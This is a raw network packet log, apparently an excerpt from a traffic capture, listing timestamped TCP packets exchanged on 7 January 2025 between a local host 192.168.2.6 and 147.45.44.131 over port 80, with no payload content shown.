Jan 7, 2025 06:12:06.244411945 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.244429111 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.244450092 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.244467020 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.244477034 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.244483948 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.244496107 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.244508028 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.244520903 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.244529009 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.244538069 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.244541883 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.244569063 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.244617939 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.244628906 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.244646072 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.244657993 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.244668007 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.244678020 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.244685888 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.244692087 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.244695902 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.244709969 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.244719028 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.244720936 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.244733095 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.244738102 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.244745016 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.244760990 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.244761944 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.244772911 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.244784117 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.244795084 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.244802952 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.244802952 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.244806051 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.244833946 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.244844913 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.244857073 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.244890928 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.244891882 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.244906902 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.244919062 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.244929075 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.244940042 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.244955063 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.244966030 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.244966030 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.244985104 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.244997978 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.245011091 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.245021105 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.245043993 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.245049000 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.245060921 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.245073080 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.245076895 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.245084047 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.245090008 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.245115042 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.245131969 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.245147943 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.245160103 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.245187044 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.245229959 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.245242119 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.245253086 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.245265007 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.245270014 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.245290995 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.245368004 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.245381117 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.245392084 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.245409966 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.245417118 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.245423079 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.245434046 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.245434046 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.245445967 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.245455980 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.245461941 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.245491982 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.245497942 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.245508909 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.245521069 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.245541096 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.245558977 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.245594025 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.245604992 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.245616913 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.245628119 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.245637894 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.245646000 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.245654106 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.245673895 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.245687962 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.245698929 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.245718002 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.245728970 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.245734930 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.245740891 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.245775938 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.245913982 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.245927095 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.245937109 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.245954037 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.245964050 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.245965004 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.245976925 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.245982885 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.245990038 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.246001959 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.246005058 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.246016026 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.246025085 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.246035099 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.246037006 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.246051073 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.246068001 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.246068954 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.246074915 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.246087074 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.246099949 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.246109009 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.246114969 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.246126890 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.246151924 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.246174097 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.246190071 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.246201992 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.246211052 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.246232986 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.246237993 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.246253967 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.246264935 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.246274948 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.246278048 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.246304035 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.284051895 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.284090996 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.284110069 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.284115076 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.284126043 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.284137964 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.284147978 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.284159899 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.284209967 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.284245968 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.336451054 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.336467028 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.336476088 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.336482048 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.336488008 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.336493015 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.336499929 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.336503983 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.336512089 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.336556911 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.336560965 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.336575031 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.336611986 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.336622953 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.336635113 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.336649895 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.336661100 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.336661100 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.336672068 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.336713076 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.336757898 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.336822987 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.336833000 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.336843014 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.336858034 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.336863041 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.336869955 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.336879015 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.336884022 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.336894989 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.336898088 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.336910963 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.336920977 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.336921930 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.336945057 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.336957932 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.336971045 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.336977005 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.336983919 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.337044954 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.337049961 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.337061882 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.337071896 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.337081909 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.337091923 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.337116957 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.337133884 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.337147951 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.337157965 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.337167978 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.337197065 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.337215900 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.337217093 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.337229013 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.337239981 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.337244987 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.337272882 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.337276936 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.337285995 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.337297916 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.337308884 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.337326050 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.337358952 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.337384939 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.337394953 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.337404966 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.337416887 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.337431908 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.337433100 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.337444067 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.337449074 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.337480068 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.337481022 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.337492943 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.337502956 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.337512016 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.337546110 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.337614059 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.337625027 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.337642908 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.337654114 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.337663889 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.337676048 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.337676048 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.337687969 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.337694883 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.337701082 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.337719917 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.337749958 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.337774992 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.337785959 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.337795973 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.337807894 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.337829113 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.337840080 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.337852955 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.337862968 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.337872028 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.337883949 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.337892056 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.337894917 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.337905884 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.337912083 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.337919950 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.337934971 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.337946892 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.337953091 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.337977886 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.338017941 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.338028908 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.338038921 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.338049889 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.338053942 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.338072062 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.338133097 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.338145018 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.338155985 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.338165045 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.338170052 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.338179111 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.338187933 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.338216066 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.338295937 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.338306904 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.338316917 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.338327885 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.338336945 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.338339090 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.338349104 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.338360071 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.338368893 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.338370085 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.338411093 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.338411093 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.338424921 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.338434935 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.338445902 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.338455915 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.338460922 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.338468075 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.338478088 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.338484049 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.338489056 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.338517904 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.338531971 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.338542938 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.338552952 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.338567972 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.338570118 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.338587999 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.338592052 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.338603020 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.338613987 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.338630915 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.338654041 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.376307011 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.376322985 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.376332998 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.376398087 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.376409054 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.376420021 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.376418114 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.376432896 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.376446009 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.376481056 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.376501083 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.401407003 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.428787947 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.428805113 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.428816080 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.428833961 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.428850889 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.428868055 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.428869963 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.428879023 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.428893089 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.428903103 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.428914070 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.428917885 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.428919077 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.428930998 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.428944111 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.428961992 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.428991079 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.429090977 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.429101944 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.429112911 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.429132938 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.429141998 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.429143906 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.429156065 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.429164886 CET	49712	80	192.168.2.6	147.45.44.131
